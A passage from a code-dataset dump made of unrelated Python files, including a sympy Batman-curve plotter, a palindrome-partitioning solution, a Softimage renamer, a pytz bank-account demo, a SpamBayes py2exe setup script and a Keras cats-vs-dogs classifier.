\":eight:\",\n\t\t\t\"9\": \":nine:\"\n\t\t}\n\t\tfor x in [chr(x) for x in range(ord('a'), ord('z') + 1)]:\n\t\t\temotes[x] = f\":regional_indicator_{x}:\"\n\t\temotized = \"\"\n\t\tfor x in range(len(str(num))):\n\t\t\tif str(num)[x] not in emotes:\n\t\t\t\tcontinue\n\t\t\telse:\n\t\t\t\temotized = emotized + emotes[str(num)[x]]\n\t\treturn emotized\n\n\tdef mock(self, text): \n\t\toutput_text = \"\" \n\t\tfor char in text: \n\t\t\tif char.isalpha(): \n\t\t\t\tif random.random() > 0.5: \n\t\t\t\t\toutput_text += char.upper() \n\t\t\t\telse: \n\t\t\t\t\toutput_text += char.lower() \n\t\t\telse: \n\t\t\t\toutput_text += char \n\t\treturn output_text","sub_path":"cogs/helpers/text.py","file_name":"text.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"219104097","text":"import sympy as sm\nfrom sympy.printing.jscode import JavascriptCodePrinter\n\n\ndef batman_equations():\n\n x = sm.symbols('x', real=True)\n\n shoulder = ((sm.S(6) * sm.Abs(sm.sqrt(10)) / 7 + (sm.S(3) / 2 -\n sm.Abs(x) / 2)) - (sm.S(6) * sm.Abs(sm.sqrt(10)) / 14) *\n sm.Abs(sm.sqrt(4 - (sm.Abs(x) - 1)**2)))\n cheek = 9 - 8 * sm.Abs(x)\n ear = 3 * sm.Abs(x) + sm.S(3) / 4\n head = 2 + sm.S(2) / 4\n top_wing = 3 * sm.sqrt(-x**2 + 49) / 7\n bottom_wing = -top_wing\n tail = ((sm.Abs(x / 2) - ((3 * sm.sqrt(33) - 7) / 112) * x**2 - 3) +\n sm.sqrt(1 - (sm.Abs(sm.Abs(x) - 2) - 1)**2))\n\n top = sm.Piecewise(\n (top_wing, x >= 3),\n (shoulder, x >= 1),\n (cheek, x >= sm.S(3) / 4),\n (ear, x >= sm.S(7) / 12),\n (head, x >= -sm.S(7) / 12),\n (ear, x >= -sm.S(3) / 4),\n (cheek, x >= -1),\n (shoulder, x >= -3),\n (top_wing, True))\n\n bottom = sm.Piecewise(\n (bottom_wing, x >= 4),\n (tail, x >= -4),\n (bottom_wing, True))\n\n return top, bottom\n\n\ndef batman_equations_heaviside():\n # From : http://mathworld.wolfram.com/BatmanCurve.html\n\n x = sm.symbols('x', real=True)\n h_ = sm.symbols('h_')\n\n w = 3 * sm.sqrt(1 - (x / 7)**2)\n l = ((x + 3) / 2 - sm.S(3) / 7 * sm.sqrt(10) * sm.sqrt(4 - (x + 1)**2) +\n sm.S(6) / 7 * sm.sqrt(10))\n r = ((3 - x) / 2 - sm.S(3) / 7 * sm.sqrt(10) * sm.sqrt(4 - (x - 1)**2) +\n sm.S(6) / 7 * sm.sqrt(10))\n f = ((h_ - l) * sm.Heaviside(x + 1, 0) +\n (r - h_) * sm.Heaviside(x - 1, 0) +\n (l - w) * sm.Heaviside(x + 3, 0) +\n (w - r) * sm.Heaviside(x - 3, 0) +\n w)\n f_of = f.xreplace({x: sm.Abs(x + sm.S(1) / 2) +\n sm.Abs(x - sm.S(1) / 2) + 6})\n h = sm.S(1) / 2 * (f_of - 11 * (x + sm.S(3) / 4) + sm.Abs(x - sm.S(3) / 4))\n f = f.xreplace({h_: h})\n g = (sm.S(1) / 2 * (sm.Abs(x / 2) + sm.sqrt(1 - (sm.Abs(sm.Abs(x) - 2) -\n 1)**2) - sm.S(1) / 112 * (3 * sm.sqrt(33) - 7) * x**2 + 3 *\n sm.sqrt(1 - (sm.S(1) / 7 * x)**2) - 3) * ((x + 4) / sm.Abs(x + 4) -\n (x - 4) / sm.Abs(x - 4)) - 3 * sm.sqrt(1 - (x / 7)**2))\n\n return f, g\n\n\ndef batman_equations_implicit():\n # try different form that seems to have numerical accuracy issues\n # From: https://gist.github.com/traeblain/1487795\n x, y = sm.symbols('x, y')\n eq1 = ((x/7)**2*sm.sqrt(sm.Abs(sm.Abs(x)-3)/(sm.Abs(x)-3))+(y/3)**2*\n sm.sqrt(sm.Abs(y+3/7*sm.sqrt(33))/(y+3/7*sm.sqrt(33)))-1)\n eq2 = (sm.Abs(x/2)-((3*sm.sqrt(33)-7)/112)*x**2-3+\n sm.sqrt(1-(sm.Abs(sm.Abs(x)-2)-1)**2)-y)\n eq3 = (9*sm.sqrt(sm.Abs((sm.Abs(x)-1)*(sm.Abs(x)-.75))/((1-sm.Abs(x))*\n (sm.Abs(x)-.75)))-8*sm.Abs(x)-y)\n eq4 = (3*sm.Abs(x)+.75*sm.sqrt(sm.Abs((sm.Abs(x)-.75)*(sm.Abs(x)-.5))/\n ((.75-sm.Abs(x))*(sm.Abs(x)-.5)))-y)\n eq5 = (2.25*sm.sqrt(sm.Abs((x-.5)*(x+.5))/((.5-x)*(.5+x)))-y)\n eq6 = (6*sm.sqrt(10)/7+(1.5-.5*sm.Abs(x))*sm.sqrt(sm.Abs(sm.Abs(x)-1)/\n (sm.Abs(x)-1))-(6*sm.sqrt(10)/14)*sm.sqrt(4-(sm.Abs(x)-1)**2)-y)\n\n return eq1, eq2, eq3, eq4, eq5, eq6\n\n\nclass JSHeavisidePrinter(JavascriptCodePrinter):\n \"\"\"Slight mod to have Heavisides print so they can be plotted.\"\"\"\n\n def _print_Heaviside(self, expr):\n # NOTE : expr.rewrite(sm.Piecewise) almost does the right thing.\n P = sm.Piecewise((0, expr.args[0] < 0), (1, expr.args[0] >= 0),\n (sm.S(1) / 2, True))\n return self._print(P)\n\n\njs_template = \"\"\"\\\n\nrequire(['chartjs'], function(chartjs){{\n\nfunction f(x) {{\n return {top_function}\n}};\n\nfunction g(x) {{\n return {bottom_function}\n}};\n\nfunction linspace(a,b,n) {{\n // From: https://gist.github.com/joates/6584908\n if(typeof n === \"undefined\") n = Math.max(Math.round(b-a)+1,1);\n if(n<2) {{ return n===1?[a]:[]; }}\n var i,ret = Array(n);\n n--;\n for(i=n;i>=0;i--) {{ ret[i] = (i*b+(n-i)*a)/n; }}\n return ret;\n}}\n\nvar ctx = document.getElementById(\"{chart_id}\");\nvar data = {{\n labels: linspace(-7.5, 7.5, 500),\n datasets: [{{\n label: \"top\",\n function: f,\n borderColor: \"rgba(75, 192, 192, 1)\",\n data: [],\n fill: false,\n lineTension: 0,\n }},\n {{\n label: \"bottom\",\n function: g,\n borderColor: \"rgba(153, 102, 255, 1)\",\n data: [],\n fill: false,\n lineTension: 0,\n }}]\n}};\n\nchartjs.Chart.pluginService.register({{\n beforeInit: function(chart) {{\n var data = chart.config.data;\n for (var i = 0; i < data.datasets.length; i++) {{\n for (var j = 0; j < data.labels.length; j++) {{\n var fct = data.datasets[i].function,\n x = data.labels[j],\n y = fct(x);\n data.datasets[i].data.push(y);\n }}\n }}\n }}\n}});\n\nvar myBarChart = new chartjs.Chart(ctx, {{\n type: 'line',\n data: data,\n options: {{\n scales: {{\n yAxes: [{{\n ticks: {{\n beginAtZero:true\n }}\n }}]\n }}\n }}\n}});\n\n}});\n\nelement.append(\"<canvas id='{chart_id}' width='400'></canvas>\");\\\n\"\"\"\n","sub_path":"scipy2017codegen/plotting.py","file_name":"plotting.py","file_ext":"py","file_size_in_byte":5206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"489449004","text":"'''\nGiven a string s, partition s such that every substring of the partition is a palindrome.\n\nReturn all possible palindrome partitioning of s.\n\nExample:\n\nInput: \"aab\"\nOutput:\n[\n [\"aa\",\"b\"],\n [\"a\",\"a\",\"b\"]\n]\n'''\n################################################################################\nclass Solution(object):\n def partition(self, s):\n \"\"\"\n :type s: str\n :rtype: List[List[str]]\n \"\"\" \n rep=[]\n if not s:\n return [[]]\n if len(s)==1:\n return [[s]]\n for i in range(1,len(s)+1):\n if s[:i] == s[:i][::-1]:\n for ss in self.partition(s[i:]):\n rep.append([s[:i]]+ss)\n return rep\n","sub_path":"other/00131. Palindrome Partitioning.py","file_name":"00131. Palindrome Partitioning.py","file_ext":"py","file_size_in_byte":717,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"544353290","text":"##kk\n\nfrom win32com.client import constants as c\n\nxsi = Application\n\n\n#LOGO_PATH = r'C:\\...'\n\n\ndef renamer():\n\t\n\t### parms\n\tprop = createPropSet()\n\t\n\t### UI layout\n\tlayout = uiLayout(prop)\n\ttabCheck = runLogic(layout)\n\tcancelled = xsi.InspectObj(prop,\"\",\"Renamer\",c.siModal,False)\n\t\n\tif cancelled:\n\t\txsi.DeleteObj(prop)\n\t\treturn\n\t\n\t### log messages off\n\txsi.SetValue(\"preferences.scripting.cmdlog\", False, \"\")\n\t### ---------------\n\t\n\tselection = xsi.Selection\n\t\n\tif not selection:\n\t\treturn\n\t\n\ttabChoice = prop.tabBool.Value\n\t\n\t# --- [\n\tif tabChoice == 1:\n\t\trename(prop.new.Value,selection)\n\t\taddPrefixSuffix(prop.prefix.Value, prop.suffix.Value, selection)\n\telif tabChoice == 0:\n\t\tfindReplace(prop.find.Value, prop.replace.Value, selection)\n\telse:\n\t\tinsert(prop.toInsert.Value, prop.mode.Value, prop.inString.Value, selection)\n\t# --- ]\n\t\n\txsi.DeleteObj(prop)\n\t\n\t### log messages on\n\txsi.SetValue(\"preferences.scripting.cmdlog\", True, \"\")\n\t### --------------\n\ndef createPropSet():\n\n\t### property\n\tsceneItem = xsi.ActiveProject.ActiveScene.Root\n\tpropSet = sceneItem.AddProperty( \"CustomProperty\",False,\"Renamer\" );\n\t\n\t### parameters\n\tlogo = propSet.AddParameter3(\"logo\", c.siString)\n\t###\n\tnewPar = propSet.addParameter3(\"new\",c.siString)\n\tprefPar = propSet.addParameter3(\"prefix\",c.siString)\n\tsuffPar = propSet.addParameter3(\"suffix\",c.siString)\n\t###\n\tfindPar = propSet.addParameter3(\"find\",c.siString)\n\treplacePar = propSet.addParameter3(\"replace\",c.siString)\n\t###\n\ttoInsert = propSet.addParameter3(\"toInsert\",c.siString)\n\tmodePar = propSet.addParameter3(\"mode\",c.siString)\n\tinsertPar = propSet.addParameter3(\"inString\",c.siString)\n\t\n\t\n\ttabSelection = propSet.addParameter3(\"tabBool\",c.siByte)\n\t\n\treturn propSet\n\ndef uiLayout(prop):\n\t\n\tppg = prop.PPGLayout\n\t### Rename Tab\n\t###-----------------------------------\n\tppg.AddTab( \"Rename\" )\n\t\n\tppg.AddSpacer( 0, 25)\n\tlogo = ppg.AddItem(\"logo\",' ',c.siControlBitmap)\n\tlogo.SetAttribute(c.siUIFilePath, LOGO_PATH)\n\tppg.AddSpacer( 0, 25)\n\t\n\tppg.AddItem(\"new\",\"New name:\")\n\tppg.AddItem(\"prefix\",\"Prefix:\")\n\tppg.AddItem(\"suffix\",\"Suffix:\")\n\t\n\t### Search and Replace Tab\n\t###-----------------------------------\n\tppg.AddTab( \"SearchAndReplace\")\n\t\n\tppg.AddSpacer( 0, 25)\n\tlogo = ppg.AddItem(\"logo\",' ',c.siControlBitmap)\n\tlogo.SetAttribute(c.siUIFilePath, LOGO_PATH)\n\tppg.AddSpacer( 0, 25)\n\t\n\tppg.AddItem(\"find\",\"Find :\")\n\tppg.AddItem(\"replace\",\"Replace with:\")\n\t\n\t### Insert\n\t###-----------------------------------\n\tppg.AddTab(\"Insert\")\n\t\n\tppg.AddSpacer( 0, 25)\n\tlogo = ppg.AddItem(\"logo\",' ',c.siControlBitmap)\n\tlogo.SetAttribute(c.siUIFilePath, LOGO_PATH)\n\tppg.AddSpacer( 0, 25)\n\t\n\tmodes = [\"Before\",0,\"After\",1]\n\t\n\tppg.addItem(\"toInsert\",\"Insert:\")\n\tppg.AddEnumControl(\"mode\",modes,\"Mode: \",c.siControlCombo)\n\tppg.AddItem(\"inString\",\"Find:\")\n\tppg.AddSpacer( 0, 50)\n\t\n\tppg.AddGroup(\"Note:\")\n\tnote = \"This script will take into account only the first occurence \\n of the target string.\"\n\tppg.AddStaticText(note, 400)\n\t\n\tppg.EndGroup()\n\t\n\treturn ppg\n\n\n\t\ndef runLogic(layout):\n\t\n\tcode = \"\"\"\n###\n\ncurTab = \"Rename\"\ncurMode = 0\n\nlayout = PPG.PPGLayout\nprop = PPG.Inspected(0)\n\nprop.mode.Value = 0\n\ndef Rename_OnTab():\n\tcurTab = PPG.CurrentTab\n\tprop.tabBool.Value = 1\n\treturn\n\t\ndef SearchAndReplace_OnTab():\n\tcurTab = PPG.CurrentTab\n\tprop.tabBool.Value = 0\n\treturn\n\t\ndef Insert_OnTab():\n\tcurTab = PPG.CurrentTab\n\tprop.tabBool.Value = -1\n\treturn\n\ndef mode_OnChanged():\n\tcurMode = prop.mode.Value\n\treturn\n\n###\n\"\"\"\n\n\tlayout.Language = \"Python\"\n\tlayout.Logic = code\n\t\n\treturn\n\t\n\t\ndef initLogicVar():\n\tcurTab = \"Rename\"\n\tcurMode = 0\n\tlayout = PPG.PPGLayout\n\tprop = PPG.Inspected(0)\n\tprop.mode.Value = 0\n\t\ndef Rename_OnTab():\n\tcurTab = PPG.CurrentTab\n\tprop.tabBool.Value = 1\n\treturn\n\t\ndef SearchAndReplace_OnTab():\n\tcurTab = PPG.CurrentTab\n\tprop.tabBool.Value = 0\n\treturn\n\t\ndef Insert_OnTab():\n\tcurTab = PPG.CurrentTab\n\tprop.tabBool.Value = -1\n\treturn\n\ndef mode_OnChanged():\n\tcurMode = prop.mode.Value\n\treturn\n\t\n\n\ndef rename(name, sel):\n\tif name:\n\t\tfor eachItem in sel:\n\t\t\txsi.SetValue(eachItem.FullName + \".Name\", name, \"\")\n\n\ndef addPrefixSuffix(prefix,suffix,sel):\n\t\n\tif not prefix and not suffix:\n\t\treturn\n\t\n\tfor eachItem in sel:\n\t\n\t\tnewName = prefix + eachItem.Name\n\t\tnewName = newName + suffix\n\n\t\txsi.SetValue(eachItem.FullName + \".Name\", newName, \"\")\n\t\t\n\t\t\ndef findReplace(find, replace, sel):\n\n\tfor eachItem in sel:\n\t\tnewName = eachItem.Name.replace(find,replace)\n\t\txsi.SetValue(eachItem.FullName + \".Name\", newName, \"\")\n\t\n\t\ndef insert(insert,mode,string, sel):\n\n\tstrLen = len(string)\n\n\tif not insert or not string:\n\t\txsi.LogMessage(\"Invalid input\", c.siError)\n\t\treturn\n\n\tfor eachItem in sel:\n\t\tif not string in eachItem.Name:\n\t\t\txsi.LogMessage(eachItem.Name + \" doesn't contain the string \" + string)\n\t\telse:\n\t\t\teachItemLen = len(eachItem.Name)\n\t\t\t\t\t\t\n\t\t\tif mode == 0:\n\t\t\t\tindexBefore = eachItem.Name.find(string)\n\t\t\t\tnewName = eachItem.Name[:indexBefore] + insert + eachItem.Name[indexBefore:]\n\t\t\telse:\n\t\t\t\tindexAfter = eachItem.Name.find(string) + strLen\n\t\t\t\tnewName = eachItem.Name[:indexAfter] + insert + eachItem.Name[indexAfter:]\n\t\t\t\n\t\t\txsi.SetValue(eachItem.FullName + \".Name\", newName, \"\")\n\t\t\nrenamer()\n","sub_path":"kkRenamer.py","file_name":"kkRenamer.py","file_ext":"py","file_size_in_byte":5150,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"497521161","text":"# from watcher.agent.model import *\n# import psutil\n# for i in range(5):\n# print(psutil.cpu_percent(0.1))\nimport datetime\n\ns = datetime.datetime.now(datetime.timezone(datetime.timedelta(hours=8)))\nq = datetime.datetime.now().timestamp()\nprint(s, type(s))\nprint(q, type(q))\n# disks = db.session.query(Disk.id, Disk.partition).filter(Disk.host_id == 1).all()\n# for disk in disks:\n# print(disk.id)\n\n\n\n","sub_path":"P17081-zhoujing/homework9/minitor/watcher/agent/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"418098494","text":"from time import sleep as timer\nfrom random import choice, randint\nimport pytz\nfrom datetime import datetime\n\n\nclass BankAccount:\n _interest_rate = 1.05\n _transaction_id = 5000100\n\n def __init__(self, account_number, fname, lname, user_tz):\n self._account_number = account_number\n self._fname = fname\n self._lname = lname\n self._full_name = None\n self._tz = user_tz\n self._balance = 0\n\n @classmethod\n def get_txn_id(cls):\n return cls._transaction_id\n\n @classmethod\n def add_txn(cls):\n cls._transaction_id += 1\n\n @property\n def account_number(self):\n return self._account_number\n\n @property\n def first_name(self):\n return self._fname\n\n @first_name.setter\n def first_name(self, new_fname):\n \"\"\"Sets the _fname attribute and clears the cached _full_name one\"\"\"\n if isinstance(new_fname, str) and len(new_fname) > 0:\n setattr(self, \"_fname\", new_fname)\n self._full_name = None\n\n @property\n def last_name(self):\n return self._lname\n\n @last_name.setter\n def last_name(self, new_lname):\n \"\"\"Sets the _lname attribute and clears the cached _full_name one\"\"\"\n if isinstance(new_lname, str) and len(new_lname) > 0:\n setattr(self, \"_lname\", new_lname)\n self._full_name = None\n\n @property\n def full_name(self):\n if self._full_name:\n return self._full_name\n else:\n setattr(self, \"_full_name\", f\"{self.first_name} {self.last_name}\")\n return self._full_name\n\n @property\n def tz(self):\n return self._tz\n\n @tz.setter\n def tz(self, user_tz):\n \"\"\"\n Changes the tz of the account instance\n Args:\n tz_offset [int]: The time offset in hours\n tz_name [str] The desired name of the timezone\n \"\"\"\n self._tz = user_tz\n\n @property\n def balance(self):\n return self._balance\n\n def deposit(self, amount):\n \"\"\"\n Deposit method adds the passed amount to the balance attribute\n Args:\n amount [float]: The amount to be added to the balance.\n A positive number\n Return:\n A Transaction object with the transaction information.\n \"\"\"\n type(self).add_txn()\n dt_str = datetime.now(pytz.utc).strftime('%Y%m%d%H%M%S')\n txn_id = type(self).get_txn_id()\n if amount > 0:\n print(f\"Depositing ${float(amount):.2f} to account {self.account_number}\")\n self._balance += amount\n txn_confirmation = f\"D-{self.account_number}-{dt_str}-{txn_id}\"\n else:\n print(\"Deposits must be positive amounts only!\")\n txn_confirmation = f\"X-{self.account_number}-{dt_str}-{txn_id}\"\n return txn_confirmation\n\n def withdraw(self, amount):\n \"\"\"\n Withdraw method subtracts the passed amount from the balance attribute\n if the balance is greater.\n Args:\n amount [float]: The amount to be subtracted from the balance.\n A positive number lesser than the balance.\n Return:\n A Transaction object with the transaction information.\n \"\"\"\n type(self).add_txn()\n dt_str = datetime.now(pytz.utc).strftime('%Y%m%d%H%M%S')\n txn_id = type(self).get_txn_id()\n if 0 < amount < self.balance:\n print(f\"Withdrawing ${float(amount):.2f} from account {self.account_number}\")\n self._balance -= amount\n txn_confirmation = f\"W-{self.account_number}-{dt_str}-{txn_id}\"\n elif amount > self.balance:\n print(f\"Unable to withdraw amount from account {self.account_number}. Insufficient funds!\")\n txn_confirmation = f\"X-{self.account_number}-{dt_str}-{txn_id}\"\n else:\n print(f\"Unable to withdraw a negative amount. Please try again...\")\n txn_confirmation = f\"X-{self.account_number}-{dt_str}-{txn_id}\"\n return txn_confirmation\n\n def apply_interest(self):\n \"\"\"\n Apply Interest method applies the class defined interest rate to the account by multipying the balance by the rate.\n Return:\n A Transaction object with the transaction information.\n \"\"\"\n type(self).add_txn()\n dt_str = datetime.now(pytz.utc).strftime('%Y%m%d%H%M%S')\n txn_id = type(self).get_txn_id()\n return f\"I-{self.account_number}-{dt_str}-{txn_id}\"\n\n @staticmethod\n def transaction_lookup(txn_id, user_tz):\n txn_type, acc_num, dt_str, txn_num = txn_id.split(\"-\")\n dt_obj = datetime.strptime(dt_str, \"%Y%m%d%H%M%S\").replace(tzinfo=pytz.utc)\n return Transaction(txn_type, acc_num, dt_obj, user_tz, txn_num)\n\n\nclass Transaction:\n\n def __init__(self, txn_type, account_num, dt_utc_obj, tz_obj, txn_num):\n self._txn_type = {\"D\": \"Deposit\",\n \"W\": \"Withdrawal\",\n \"I\": \"Applied Interest\",\n \"X\": \"Declined transaction\"}[txn_type]\n self._account_num = account_num\n self._tz = tz_obj\n self._dt_local_obj = dt_utc_obj.astimezone(tz_obj)\n self._txn_num = txn_num\n\n @property\n def account_number(self):\n return self._account_num\n\n @property\n def transaction_code(self):\n return self._txn_type\n\n @property\n def transaction_id(self):\n return self._txn_num\n\n @property\n def time(self):\n dt_str = self._dt_local_obj.strftime('%Y-%m-%d %X')\n return f\"{dt_str} ({self._tz})\"\n\n def display_transaction(self):\n print(f\"Account #{self.account_number}\")\n print(f\"Transaction #{self.transaction_id}: {self.transaction_code}\")\n print(f\"Local time: {self.time}\")\n\n\npreferred_tz = pytz.timezone(\"Europe/Moscow\")\n\nmy_account = BankAccount(39294021, \"Israel\", \"Mendoza\", preferred_tz)\n\nf1 = my_account.deposit\nf2 = my_account.withdraw\nf3 = my_account.apply_interest\n\nf_list = [f1, f2, f3]\ntxn_list = []\n\nfor i in range(20):\n temp_f = choice(f_list)\n txn = None\n if temp_f.__name__ in [\"deposit\", \"withdraw\"]:\n txn = temp_f(randint(1, 10000))\n print(txn)\n txn = BankAccount.transaction_lookup(txn, preferred_tz)\n txn_list.append(txn)\n else:\n txn = temp_f()\n print(txn)\n txn = BankAccount.transaction_lookup(txn, preferred_tz)\n txn_list.append(txn)\n timer(0.3)\n\nprint(f\"\\nFinal balance: {my_account.balance}\\n\")\n\nfor t in txn_list:\n t.display_transaction()\n print()\n\n\n","sub_path":"UsingTZ6.py","file_name":"UsingTZ6.py","file_ext":"py","file_size_in_byte":6616,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"16657943","text":"import sys, os, glob\nsb_top_dir = os.path.abspath(os.path.dirname(os.path.join(__file__, \"../../../..\")))\nsys.path.append(sb_top_dir)\nsys.path.append(os.path.join(sb_top_dir, \"windows\"))\nsys.path.append(os.path.join(sb_top_dir, \"scripts\"))\nsys.path.append(os.path.join(sb_top_dir, \"Outlook2000\"))\nsys.path.append(os.path.join(sb_top_dir, \"Outlook2000/sandbox\"))\nimport spambayes.resources\nimport dialogs\ndialogs.LoadDialogs()\ntry:\n import modulefinder\n import win32com\n for p in win32com.__path__[1:]:\n modulefinder.AddPackagePath(\"win32com\", p)\n for extra in [\"win32com.shell\",\"win32com.mapi\"]:\n __import__(extra)\n m = sys.modules[extra]\n for p in m.__path__[1:]:\n modulefinder.AddPackagePath(extra, p)\nexcept ImportError:\n pass\nfrom distutils.core import setup\nimport py2exe\npy2exe_options = dict(\n packages = \"spambayes.resources,encodings\",\n excludes = \"win32ui,pywin,pywin.debugger\", # pywin is a package, and still seems to be included.\n includes = \"dialogs.resources.dialogs\", # Outlook dynamic dialogs\n dll_excludes = \"dapi.dll,mapi32.dll\",\n typelibs = [\n ('{00062FFF-0000-0000-C000-000000000046}', 0, 9, 0),\n ('{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}', 0, 2, 1),\n ('{AC0714F2-3D04-11D1-AE7D-00A0C90F26F4}', 0, 1, 0),\n ]\n)\noutlook_bmp_resources = [\n ( 125, os.path.join(sb_top_dir, r\"Outlook2000\\dialogs\\resources\\sbwizlogo.bmp\")),\n ( 127, os.path.join(sb_top_dir, r\"Outlook2000\\dialogs\\resources\\folders.bmp\")),\n (1062, os.path.join(sb_top_dir, r\"Outlook2000\\dialogs\\resources\\sblogo.bmp\")),\n (6000, os.path.join(sb_top_dir, r\"Outlook2000\\images\\recover_ham.bmp\")),\n (6001, os.path.join(sb_top_dir, r\"Outlook2000\\images\\delete_as_spam.bmp\")),\n]\noutlook_addin = dict(\n modules = [\"addin\"],\n dest_base = \"bin/outlook_addin\",\n bitmap_resources = outlook_bmp_resources,\n create_exe = False,\n)\noutlook_dump_props = dict(\n script = os.path.join(sb_top_dir, r\"Outlook2000\\sandbox\\dump_props.py\"),\n dest_base = \"bin/outlook_dump_props\",\n icon_resources = [(100, os.path.join(sb_top_dir,\n r\"windows\\resources\\sbicon.ico\")),\n ],\n)\noutlook_addin_register = dict(\n script = os.path.join(sb_top_dir, r\"Outlook2000\\addin.py\"),\n dest_base = \"bin/outlook_addin_register\",\n icon_resources = [(100, os.path.join(sb_top_dir,\n r\"windows\\resources\\sbicon.ico\")),\n ],\n)\nservice = dict(\n dest_base = \"bin/sb_service\",\n modules = [\"pop3proxy_service\"],\n icon_resources = [(100, os.path.join(sb_top_dir,\n r\"windows\\resources\\sbicon.ico\")),\n ],\n)\nsb_server = dict(\n dest_base = \"bin/sb_server\",\n script = os.path.join(sb_top_dir, \"scripts\", \"sb_server.py\")\n)\nsb_pop3dnd = dict(\n dest_base = \"bin/sb_pop3dnd\",\n script = os.path.join(sb_top_dir, \"scripts\", \"sb_pop3dnd.py\")\n)\nsb_upload = dict(\n dest_base = \"bin/sb_upload\",\n script = os.path.join(sb_top_dir, \"scripts\", \"sb_upload.py\")\n)\npop3proxy_tray = dict(\n dest_base = \"bin/sb_tray\",\n script = os.path.join(sb_top_dir, \"windows\", \"pop3proxy_tray.py\"),\n icon_resources = [(100, os.path.join(sb_top_dir, r\"windows\\resources\\sbicon.ico\")),\n (1000, os.path.join(sb_top_dir, r\"windows\\resources\\sb-started.ico\")),\n (1010, os.path.join(sb_top_dir, r\"windows\\resources\\sb-stopped.ico\"))],\n)\nautoconfigure = dict(\n dest_base = \"bin/setup_server\",\n script = os.path.join(sb_top_dir, \"windows\", \"autoconfigure.py\"),\n)\noutlook_data_files = [\n [\"docs/outlook\", [os.path.join(sb_top_dir, r\"Outlook2000\\about.html\")]],\n [\"docs/outlook/docs\", glob.glob(os.path.join(sb_top_dir, r\"Outlook2000\\docs\\*.html\"))],\n [\"docs/outlook/docs/images\", glob.glob(os.path.join(sb_top_dir, r\"Outlook2000\\docs\\images\\*.jpg\"))],\n [\"bin\", [os.path.join(sb_top_dir, r\"Outlook2000\\default_bayes_customize.ini\")]],\n]\nproxy_data_files = [\n [\"docs/sb_server\", [os.path.join(sb_top_dir, r\"windows\\readme_proxy.html\")]],\n [\"docs/sb_server\", [os.path.join(sb_top_dir, r\"windows\\docs\\troubleshooting.html\")]],\n [\"docs/sb_server/docs/images\", glob.glob(os.path.join(sb_top_dir, r\"windows\\docs\\images\\*.jpg\"))],\n]\ncommon_data_files = [\n [\"\", [os.path.join(sb_top_dir, r\"windows\\resources\\sbicon.ico\")]],\n [\"\", [os.path.join(sb_top_dir, r\"LICENSE.txt\")]],\n]\nif len(sys.argv)==1 or \\\n (len(sys.argv)==2 and sys.argv[1] in ['-q', '-n']):\n sys.argv.append(\"py2exe\")\nsetup(name=\"SpamBayes\",\n packages = [\"spambayes.resources\"],\n package_dir = {\"spambayes.resources\" : spambayes.resources.__path__[0]},\n com_server=[outlook_addin],\n service=[service],\n console=[sb_server, sb_upload, outlook_dump_props, sb_pop3dnd],\n windows=[pop3proxy_tray, outlook_addin_register, autoconfigure],\n data_files = outlook_data_files + proxy_data_files + common_data_files,\n options = {\"py2exe\" : py2exe_options},\n zipfile = \"lib/spambayes.modules\",\n)\n","sub_path":"SpamBayes/rev2415-2775/right-branch-2775/windows/py2exe/setup_all.py","file_name":"setup_all.py","file_ext":"py","file_size_in_byte":5104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"651887238","text":"import os\nimport random\nimport time\n\nimport matplotlib.image as mpimg\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom keras import applications\nfrom keras.layers import Conv2D, MaxPooling2D, Flatten, Dense, Activation, Dropout\nfrom keras.models import Sequential\nfrom keras.preprocessing.image import ImageDataGenerator, image\n\n# Setting parameters\ndir_train = 'dogscats/train'\ndir_val = 'dogscats/valid'\nbatch_size = 16\nepochs = 1\n\n# Building the Model\nmodel = Sequential()\nmodel.add(Conv2D(32, (3, 3), input_shape=(150, 150, 3)))\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\n\nmodel.add(Conv2D(32, (3, 3)))\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\n\nmodel.add(Conv2D(64, (3, 3)))\nmodel.add(Activation('relu'))\nmodel.add(MaxPooling2D(pool_size=(2, 2)))\n\n# Adding FC Layers\nmodel.add(Flatten())\nmodel.add(Dense(256))\nmodel.add(Activation('relu'))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(1))\nmodel.add(Activation('sigmoid'))\n\nif os.path.isfile('1st_model.h5'):\n model.load_weights('1st_model.h5')\n\nmodel.compile(optimizer='rmsprop', loss='binary_crossentropy', metrics=['accuracy'])\n\n# rescale images\ntrain_data_gen = ImageDataGenerator(\n rescale=1. / 255,\n shear_range=0.2,\n zoom_range=0.2,\n horizontal_flip=True\n)\n\ntest_data_gen = ImageDataGenerator(rescale=1. / 255)\n\ntrain_set = train_data_gen.flow_from_directory(\n dir_train,\n target_size=(150, 150),\n batch_size=batch_size,\n class_mode='binary'\n)\ntest_set = test_data_gen.flow_from_directory(\n dir_val,\n target_size=(150, 150),\n batch_size=batch_size,\n class_mode='binary'\n)\n\nprint(model.summary())\n\n# tic\ntic = time.time()\n\nhistory = model.fit_generator(\n train_set,\n steps_per_epoch=2000 // batch_size,\n epochs=epochs,\n validation_data=test_set,\n validation_steps=800 // batch_size\n)\n\n# toc\ntoc = time.time()\n\n# Computation time is\nprint('Computation Time is: ' + str(int((toc - tic) // pow(60, 2))).zfill(2) + ':'\n + str(int(((toc - tic) % pow(60, 2)) // 60)).zfill(2) + ':'\n + str(int(((toc - tic) % pow(60, 2)) % 60)).zfill(2)\n )\n\nmodel.save_weights('1st_model.h5')\n\nimage_path = './dogscats/test1/' + random.choice(os.listdir('./dogscats/test1/'))\nplt.figure()\nplt.imshow(mpimg.imread(image_path))\nplt.show()\n\ntest_image = image.load_img(image_path, target_size=(150, 150))\ntest_image = image.img_to_array(test_image)\ntest_image = 